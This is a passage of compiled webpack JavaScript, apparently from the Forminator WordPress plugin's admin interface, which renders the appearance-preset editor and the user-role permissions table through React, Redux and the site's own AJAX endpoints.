/* 591 */,
/* 592 */,
/* 593 */,
/* 594 */,
/* 595 */,
/* 596 */,
/* 597 */,
/* 598 */,
/* 599 */,
/* 600 */,
/* 601 */,
/* 602 */,
/* 603 */,
/* 604 */,
/* 605 */,
/* 606 */,
/* 607 */,
/* 608 */,
/* 609 */,
/* 610 */,
/* 611 */,
/* 612 */,
/* 613 */,
/* 614 */,
/* 615 */,
/* 616 */,
/* 617 */,
/* 618 */,
/* 619 */,
/* 620 */,
/* 621 */,
/* 622 */,
/* 623 */,
/* 624 */,
/* 625 */,
/* 626 */,
/* 627 */,
/* 628 */,
/* 629 */,
/* 630 */,
/* 631 */,
/* 632 */,
/* 633 */,
/* 634 */,
/* 635 */,
/* 636 */,
/* 637 */,
/* 638 */,
/* 639 */,
/* 640 */,
/* 641 */,
/* 642 */,
/* 643 */,
/* 644 */,
/* 645 */,
/* 646 */,
/* 647 */,
/* 648 */,
/* 649 */,
/* 650 */,
/* 651 */,
/* 652 */,
/* 653 */,
/* 654 */,
/* 655 */,
/* 656 */,
/* 657 */,
/* 658 */,
/* 659 */,
/* 660 */,
/* 661 */,
/* 662 */,
/* 663 */,
/* 664 */,
/* 665 */,
/* 666 */,
/* 667 */,
/* 668 */,
/* 669 */,
/* 670 */,
/* 671 */,
/* 672 */,
/* 673 */,
/* 674 */,
/* 675 */,
/* 676 */,
/* 677 */,
/* 678 */,
/* 679 */,
/* 680 */,
/* 681 */,
/* 682 */,
/* 683 */,
/* 684 */,
/* 685 */,
/* 686 */,
/* 687 */,
/* 688 */,
/* 689 */,
/* 690 */,
/* 691 */,
/* 692 */,
/* 693 */,
/* 694 */,
/* 695 */,
/* 696 */,
/* 697 */,
/* 698 */,
/* 699 */,
/* 700 */,
/* 701 */,
/* 702 */,
/* 703 */,
/* 704 */,
/* 705 */,
/* 706 */,
/* 707 */,
/* 708 */,
/* 709 */,
/* 710 */,
/* 711 */,
/* 712 */,
/* 713 */,
/* 714 */,
/* 715 */,
/* 716 */,
/* 717 */,
/* 718 */,
/* 719 */,
/* 720 */,
/* 721 */,
/* 722 */,
/* 723 */,
/* 724 */,
/* 725 */,
/* 726 */,
/* 727 */,
/* 728 */,
/* 729 */,
/* 730 */,
/* 731 */,
/* 732 */,
/* 733 */,
/* 734 */,
/* 735 */,
/* 736 */,
/* 737 */,
/* 738 */,
/* 739 */,
/* 740 */,
/* 741 */,
/* 742 */,
/* 743 */,
/* 744 */,
/* 745 */,
/* 746 */,
/* 747 */,
/* 748 */,
/* 749 */,
/* 750 */,
/* 751 */,
/* 752 */,
/* 753 */,
/* 754 */,
/* 755 */,
/* 756 */,
/* 757 */,
/* 758 */,
/* 759 */,
/* 760 */,
/* 761 */,
/* 762 */,
/* 763 */,
/* 764 */,
/* 765 */,
/* 766 */,
/* 767 */,
/* 768 */,
/* 769 */,
/* 770 */,
/* 771 */,
/* 772 */,
/* 773 */,
/* 774 */,
/* 775 */,
/* 776 */,
/* 777 */,
/* 778 */,
/* 779 */,
/* 780 */,
/* 781 */,
/* 782 */,
/* 783 */,
/* 784 */,
/* 785 */,
/* 786 */,
/* 787 */,
/* 788 */,
/* 789 */,
/* 790 */,
/* 791 */,
/* 792 */,
/* 793 */,
/* 794 */,
/* 795 */,
/* 796 */,
/* 797 */,
/* 798 */,
/* 799 */,
/* 800 */,
/* 801 */,
/* 802 */,
/* 803 */,
/* 804 */,
/* 805 */,
/* 806 */,
/* 807 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


__webpack_require__(808);

__webpack_require__(809);

/***/ }),
/* 808 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _slicedToArray = function () { function sliceIterator(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"]) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } return function (arr, i) { if (Array.isArray(arr)) { return arr; } else if (Symbol.iterator in Object(arr)) { return sliceIterator(arr, i); } else { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } }; }(); /* jshint esversion: 6 */


var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _renderBlock = __webpack_require__(89);

var _configureStore = __webpack_require__(222);

var _configureStore2 = _interopRequireDefault(_configureStore);

var _i18nWpPlugin = __webpack_require__(52);

var _i18nWpPlugin2 = _interopRequireDefault(_i18nWpPlugin);

var _axios = __webpack_require__(39);

var _axios2 = _interopRequireDefault(_axios);

var _qs = __webpack_require__(40);

var _qs2 = _interopRequireDefault(_qs);

var _reactRedux = __webpack_require__(13);

var _redux = __webpack_require__(11);

var _settings = __webpack_require__(109);

var settingsActions = _interopRequireWildcard(_settings);

var _utils = __webpack_require__(1);

var _design = __webpack_require__(251);

var _design2 = _interopRequireDefault(_design);

var _colors = __webpack_require__(258);

var _colors2 = _interopRequireDefault(_colors);

var _fonts = __webpack_require__(288);

var _fonts2 = _interopRequireDefault(_fonts);

var _formContainer = __webpack_require__(290);

var _formContainer2 = _interopRequireDefault(_formContainer);

var _customCss = __webpack_require__(294);

var _customCss2 = _interopRequireDefault(_customCss);

var _notifications = __webpack_require__(30);

var _notifications2 = _interopRequireDefault(_notifications);

var _pageSettings = __webpack_require__(295);

var _pageSettings2 = _interopRequireDefault(_pageSettings);

function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } }

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

var presetId = jQuery('select[name="appearance_preset"]').val();
var currentPreset = !_.isUndefined(forminatorData.currentPreset) ? forminatorData.currentPreset : [];
var store = (0, _configureStore2.default)(currentPreset);

_i18nWpPlugin2.default.setLocale(forminatorl10n.locale);

// We need our own version of jQuery in case user click Preview with WPEditor enabled
// WPEditor instance breaks window.jQuery object and we should restore on modal close
window.jQueryFormi = jQuery.noConflict();

function mapStateToProps(state) {
	return {
		settings: state.settings,
		wrappers: state.wrappers,
		formDesign: state.settings['form-style'] || 'default'
	};
}

function mapDispatchToProps(dispatch) {
	return {
		actions: {
			settingsActions: (0, _redux.bindActionCreators)(settingsActions, dispatch)
		}
	};
}

function handleBeforeunload(e) {
	if (window.forminatorChanges && window.forminatorChanges.settings === true) {
		e.preventDefault();
		e.returnValue = (0, _utils.translate)('You have unsaved changes, are you sure want to leave this page');
		return (0, _utils.translate)('You have unsaved changes, are you sure want to leave this page');
	}
}

function saveAppearancePreset(props) {
	var $target = jQuery('.forminator-update-appearance-preset');
	$target.addClass('sui-button-onload');

	var object = {
		action: 'forminator_save_appearance_preset',
		_wpnonce: forminatorData.presetNonce,
		presetId: presetId,
		settings: JSON.stringify(props.settings)
	};

	_axios2.default.post(forminatorData.ajaxUrl, _qs2.default.stringify(object)).then(function (data) {
		if (data.data.success) {
			// Update status
			window.forminatorChanges.settings = false;
			props.setHasUpdated(false);

			if (data.data.data) {
				var custom = new _notifications2.default({
					type: 'success',
					text: data.data.data
				});

				custom.open();
			}
		} else {

			var _custom = new _notifications2.default({
				type: 'error',
				text: data.data.data
			});

			_custom.open();
		}
	}).catch(function (err) {
		var custom = new _notifications2.default({
			type: 'error',
			text: (0, _utils.translate)('Something went wrong. Please try again.')
		});

		custom.open();

		console.log(err);
	}).then(function () {
		$target.removeClass('sui-button-onload');
	});
}

function changePreset(e) {
	var presetId = e.currentTarget.value,
	    div_preloader = '<div class="sui-box-body sui-block-content-center" style="height: 420px;display: flex; justify-content: center; flex-direction: column;"><p class="" aria-label="Loading content">' + '<i class="sui-icon-loader sui-loading" aria-hidden="true"></i>' + '<br>' + (0, _utils.translate)('Loading Preset data...') + '</p></div>';

	jQuery('#forminator-appearance-preset').html(div_preloader);

	Forminator.openPreset(presetId);
}

function deletePreset() {
	var $target = jQuery('.popup-confirmation-confirm');
	$target.addClass('sui-button-onload');

	var presetId = jQuery('select[name="appearance_preset"]').val();

	var data = {
		action: 'forminator_delete_appearance_preset',
		_wpnonce: forminatorData.presetNonce,
		preset_id: presetId
	};

	jQuery.ajax({
		url: Forminator.Data.ajaxUrl,
		type: "POST",
		data: data,
		success: function success(result) {
			if (result && result.success) {
				Forminator.openPreset('default', 'preset_deleted');
			} else {
				Forminator.Notification.open('error', result.data, 4000);
				$target.removeClass('sui-button-onload');
			}
		},
		error: function error(_error) {
			Forminator.Notification.open('error', _error.data, 4000);
			$target.removeClass('sui-button-onload');
		}
	});

	return false;
}

function Appearance(props) {
	var _React$useState = _react2.default.useState(!!window.forminatorChanges.settings),
	    _React$useState2 = _slicedToArray(_React$useState, 2),
	    hasUpdated = _React$useState2[0],
	    setHasUpdated = _React$useState2[1];

	function save() {
		saveAppearancePreset(_extends({}, props, { setHasUpdated: setHasUpdated }));
	}

	_react2.default.useEffect(function () {
		setHasUpdated(!!window.forminatorChanges.settings);
	}, [window.forminatorChanges.settings]);

	_react2.default.useEffect(function () {
		window.addEventListener('deletePreset', deletePreset);
		window.jQuery('select[name="appearance_preset"]').off('change').on('change', changePreset);
		window.jQuery('.forminator-update-appearance-preset').off('click').on('click', save);
	}, [props]);

	var fontStyle = !_.isUndefined(props.settings['form-style']) ? props.settings['form-style'] : 'default',
	    title = jQuery('select[name="appearance_preset"] option:selected').first().text();

	return _react2.default.createElement(
		_react2.default.Fragment,
		null,
		_react2.default.createElement(
			'div',
			{ className: 'sui-box-header' },
			_react2.default.createElement(
				'h2',
				{ className: 'sui-box-title' },
				title
			),
			hasUpdated && _react2.default.createElement(
				'span',
				{ className: 'sui-tag' },
				(0, _utils.translate)('Unsaved Changes')
			)
		),
		_react2.default.createElement(
			'div',
			{ className: 'sui-box-body' },
			_react2.default.createElement(_design2.default, props),
			fontStyle !== 'none' && _react2.default.createElement(
				_react2.default.Fragment,
				{ key: (0, _utils.getThemePrefix)(props) + 'themeKey' },
				_react2.default.createElement(_colors2.default, _extends({}, props, { preset: 'true' })),
				_react2.default.createElement(_fonts2.default, _extends({}, props, { preset: 'true' })),
				_react2.default.createElement(_formContainer2.default, props)
			),
			_react2.default.createElement(_customCss2.default, props)
		)
	);
}

var AppearanceContainer = (0, _reactRedux.connect)(mapStateToProps, mapDispatchToProps)(Appearance);

window.forminatorChanges = { settings: false };
window.addEventListener('beforeunload', handleBeforeunload);

(0, _renderBlock.renderBlock)('forminator-appearance-preset', _react2.default.createElement(
	_reactRedux.Provider,
	{ store: store },
	_react2.default.createElement(AppearanceContainer, null)
));

/***/ }),
/* 809 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _renderBlock = __webpack_require__(89);

var _reactRedux = __webpack_require__(13);

var _configureStore = __webpack_require__(810);

var _configureStore2 = _interopRequireDefault(_configureStore);

var _i18nWpPlugin = __webpack_require__(52);

var _i18nWpPlugin2 = _interopRequireDefault(_i18nWpPlugin);

var _main = __webpack_require__(814);

var _main2 = _interopRequireDefault(_main);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

/* jshint esversion: 6 */
var store = (0, _configureStore2.default)(forminatorData.mainSettings);
// import { MemoryRouter, Route } from 'react-router-dom';


_i18nWpPlugin2.default.setLocale(forminatorl10n.locale);

window.forminatorChanges = {
	permissions: {}
};

// We need our own version of jQuery in case user click Preview with WPEditor enabled
// WPEditor instance breaks window.jQuery object and we should restore on modal close
window.jQueryFormi = jQuery.noConflict();

// Main.
(0, _renderBlock.renderBlock)('forminator-permissions', _react2.default.createElement(
	_reactRedux.Provider,
	{ store: store },
	_react2.default.createElement(_main2.default, null)
));

/***/ }),
/* 810 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});
exports.default = configureStore;

var _redux = __webpack_require__(11);

var _reduxThunk = __webpack_require__(112);

var _reduxThunk2 = _interopRequireDefault(_reduxThunk);

var _index = __webpack_require__(811);

var _index2 = _interopRequireDefault(_index);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

var newCreateStore = (0, _redux.compose)((0, _redux.applyMiddleware)(_reduxThunk2.default))(_redux.createStore);

function configureStore(initialState) {
	return newCreateStore(_index2.default, initialState);
}

/***/ }),
/* 811 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _redux = __webpack_require__(11);

var _permissions = __webpack_require__(812);

var _permissions2 = _interopRequireDefault(_permissions);

var _modal = __webpack_require__(813);

var _modal2 = _interopRequireDefault(_modal);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

// Import reducers
var appReducers = (0, _redux.combineReducers)({
	// List reducers
	permissions: _permissions2.default,
	modal: _modal2.default
});

exports.default = appReducers;

/***/ }),
/* 812 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});
exports.default = permissions;
function permissions() {
	var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
	var action = arguments[1];

	switch (action.type) {
		case 'UPDATE_PERMISSIONS':
			return action.permissions;
		default:
			return state;
	}
}

/***/ }),
/* 813 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});
var initialState = {
	modalType: null,
	modalProps: {}
};

exports.default = function () {
	var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : initialState;
	var action = arguments[1];

	switch (action.type) {
		case 'SHOW_MODAL':
			return {
				modalProps: action.modalProps,
				modalType: action.modalType,
				type: action.type
			};
		case 'HIDE_MODAL':
			return initialState;
		default:
			return state;
	}
};

/***/ }),
/* 814 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _permissions = __webpack_require__(815);

var _permissions2 = _interopRequireDefault(_permissions);

var _modal = __webpack_require__(822);

var _modal2 = _interopRequireDefault(_modal);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var Main = function (_Component) {
	_inherits(Main, _Component);

	function Main(props) {
		_classCallCheck(this, Main);

		return _possibleConstructorReturn(this, (Main.__proto__ || Object.getPrototypeOf(Main)).call(this, props));
	}

	_createClass(Main, [{
		key: 'componentDidMount',
		value: function componentDidMount() {
			this.goToSectionFromUrl();

			window.addEventListener('beforeunload', this.handleBeforeunload);
		}
	}, {
		key: 'componentWillUnmount',
		value: function componentWillUnmount() {
			window.removeEventListener('beforeunload', this.handleBeforeunload);
		}

		/*
   * If URL has param gotosection, upon page load,
   * the page will go to the specified tab on the gotosection param.
   * Useful when redirecting from another page that is not part of form editor.
  */

	}, {
		key: 'goToSectionFromUrl',
		value: function goToSectionFromUrl() {
			var goToSection = (0, _utils.parseQueryString)().gotosection;

			if (!_.isUndefined(goToSection)) {
				var theUrl = window.location.href;

				this.props.history.push('/' + (0, _utils.parseQueryString)().gotosection);
				window.history.replaceState({}, document.title, theUrl.slice(0, theUrl.indexOf('&gotosection')));
			}
		}
	}, {
		key: 'handleBeforeunload',
		value: function handleBeforeunload(e) {
			if (window.forminatorChanges.length > 0 || window.forminatorChanges.settings === true) {
				e.preventDefault();
				e.returnValue = (0, _utils.translate)('You have unsaved changes, are you sure want to leave this page');
				return (0, _utils.translate)('You have unsaved changes, are you sure want to leave this page');
			}
		}
	}, {
		key: 'render',
		value: function render() {

			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				_react2.default.createElement(_permissions2.default, this.props),
				_react2.default.createElement(_modal2.default, this.props)
			);
		}
	}]);

	return Main;
}(_react.Component);

exports.default = Main;

/***/ }),
/* 815 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _reactRedux = __webpack_require__(13);

var _redux = __webpack_require__(11);

var _modal = __webpack_require__(401);

var modalActions = _interopRequireWildcard(_modal);

var _permissions = __webpack_require__(402);

var permissionActions = _interopRequireWildcard(_permissions);

var _permissions2 = __webpack_require__(816);

var _permissions3 = _interopRequireDefault(_permissions2);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } }

function mapStateToProps(state) {
	return {
		permissions: state.permissions || {},
		modal: state.modal
	};
}

function mapDispatchToProps(dispatch) {
	return {
		actions: {
			modalActions: (0, _redux.bindActionCreators)(modalActions, dispatch),
			permissionActions: (0, _redux.bindActionCreators)(permissionActions, dispatch)
		}
	};
}

exports.default = (0, _reactRedux.connect)(mapStateToProps, mapDispatchToProps)(_permissions3.default);

/***/ }),
/* 816 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _header = __webpack_require__(817);

var _header2 = _interopRequireDefault(_header);

var _footer = __webpack_require__(818);

var _footer2 = _interopRequireDefault(_footer);

var _permissionsTable = __webpack_require__(819);

var _permissionsTable2 = _interopRequireDefault(_permissionsTable);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var Permissions = function (_Component) {
	_inherits(Permissions, _Component);

	function Permissions(props) {
		_classCallCheck(this, Permissions);

		return _possibleConstructorReturn(this, (Permissions.__proto__ || Object.getPrototypeOf(Permissions)).call(this, props));
	}

	_createClass(Permissions, [{
		key: 'render',
		value: function render() {
			var tooltipWidth = { "--tooltip-width": "220px" };

			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				_react2.default.createElement(_header2.default, _extends({}, this.props, { title: (0, _utils.translate)('Permissions') })),
				_react2.default.createElement(_permissionsTable2.default, this.props),
				_react2.default.createElement(_footer2.default, this.props)
			);
		}
	}]);

	return Permissions;
}(_react.Component);

exports.default = Permissions;

/***/ }),
/* 817 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
    value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var Header = function (_Component) {
    _inherits(Header, _Component);

    function Header() {
        _classCallCheck(this, Header);

        return _possibleConstructorReturn(this, (Header.__proto__ || Object.getPrototypeOf(Header)).apply(this, arguments));
    }

    _createClass(Header, [{
        key: 'render',
        value: function render() {
            var prop = this.props;

            return _react2.default.createElement(
                'div',
                { className: 'sui-box-header' },
                _react2.default.createElement(
                    'h2',
                    { className: 'sui-box-title' },
                    prop.title
                ),
                prop.hasUpdated && _react2.default.createElement(
                    'span',
                    { className: 'sui-tag' },
                    (0, _utils.translate)('Unsaved Changes')
                )
            );
        }
    }]);

    return Header;
}(_react.Component);

exports.default = Header;

/***/ }),
/* 818 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var Footer = function (_Component) {
	_inherits(Footer, _Component);

	function Footer(props) {
		_classCallCheck(this, Footer);

		var _this = _possibleConstructorReturn(this, (Footer.__proto__ || Object.getPrototypeOf(Footer)).call(this, props));

		_this.showModal = _this.showModal.bind(_this);
		_this.closeModal = _this.closeModal.bind(_this);
		return _this;
	}

	_createClass(Footer, [{
		key: 'showModal',
		value: function showModal() {
			this.props.actions.modalActions.showModal({
				open: true,
				new: true,
				closeModal: this.closeModal
			}, 'permissions');
		}
	}, {
		key: 'closeModal',
		value: function closeModal() {
			this.props.actions.modalActions.showModal({
				open: false
			}, 'permissions');
		}
	}, {
		key: 'render',
		value: function render() {
			var prop = this.props;

			return _react2.default.createElement(
				'div',
				{ className: 'sui-box-footer' },
				_react2.default.createElement(
					'button',
					{
						className: 'sui-button sui-button-gray',
						onClick: this.showModal
					},
					_react2.default.createElement('span', { className: 'sui-icon-plus sui-', 'aria-hidden': 'true' }),
					(0, _utils.translate)('Add permissions')
				)
			);
		}
	}]);

	return Footer;
}(_react.Component);

exports.default = Footer;

/***/ }),
/* 819 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _permissionItem = __webpack_require__(820);

var _permissionItem2 = _interopRequireDefault(_permissionItem);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } /* jshint esversion: 6 */


var PermissionsTable = function (_Component) {
	_inherits(PermissionsTable, _Component);

	function PermissionsTable(props) {
		_classCallCheck(this, PermissionsTable);

		return _possibleConstructorReturn(this, (PermissionsTable.__proto__ || Object.getPrototypeOf(PermissionsTable)).call(this, props));
	}

	_createClass(PermissionsTable, [{
		key: 'applySticky',
		value: function applySticky() {
			var node = this.refs.StickyHeader;
			var currentOffset = node.getBoundingClientRect().top;
			var stickyOffset = parseInt(window.getComputedStyle(node).top.replace('px', ''));
			var isStuck = currentOffset <= stickyOffset;

			if (isStuck) {
				node.classList.add('sui-is-sticky');
			} else {
				node.classList.remove('sui-is-sticky');
			}
		}
	}, {
		key: 'render',
		value: function render() {
			var _this2 = this;

			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				_react2.default.createElement(
					'div',
					{ className: 'sui-box-body' },
					_react2.default.createElement(
						'p',
						null,
						(0, _utils.translate)('By default, all administrators have complete access to Forminator. ' + 'You can provide and manage access to other user roles or to individual user(s) below.')
					)
				),
				_react2.default.createElement(
					'div',
					{ className: 'forminator-permissions-table' },
					_react2.default.createElement(
						'table',
						{ className: 'sui-table sui-table-flushed' },
						_react2.default.createElement(
							'thead',
							null,
							_react2.default.createElement(
								'tr',
								null,
								_react2.default.createElement(
									'th',
									{ colSpan: 4 },
									(0, _utils.translate)('User Role/User')
								),
								_react2.default.createElement(
									'th',
									{ colSpan: 2, className: 'fp-item-col' },
									(0, _utils.translate)('Modules')
								),
								_react2.default.createElement(
									'th',
									{ colSpan: 2, className: 'fp-item-col' },
									(0, _utils.translate)('Submissions')
								),
								_react2.default.createElement(
									'th',
									{ colSpan: 2, className: 'fp-item-col' },
									(0, _utils.translate)('Add-ons')
								),
								_react2.default.createElement(
									'th',
									{ colSpan: 2, className: 'fp-item-col' },
									(0, _utils.translate)('Integrations')
								),
								_react2.default.createElement(
									'th',
									{ colSpan: 2, className: 'fp-item-col' },
									(0, _utils.translate)('Reports')
								),
								_react2.default.createElement(
									'th',
									{ colSpan: 2, className: 'fp-item-col' },
									(0, _utils.translate)('Settings')
								),
								_react2.default.createElement('th', { colSpan: 1 })
							)
						),
						_react2.default.createElement(
							'tbody',
							null,
							_react2.default.createElement(_permissionItem2.default, _extends({}, this.props, { isAdmin: true })),
							_.map(this.props.permissions, function (permission, index) {
								return _react2.default.createElement(_permissionItem2.default, _extends({
									key: index,
									actions: _this2.props.actions,
									isAdmin: false
								}, permission));
							})
						)
					)
				)
			);
		}
	}]);

	return PermissionsTable;
}(_react.Component);

exports.default = PermissionsTable;

/***/ }),
/* 820 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

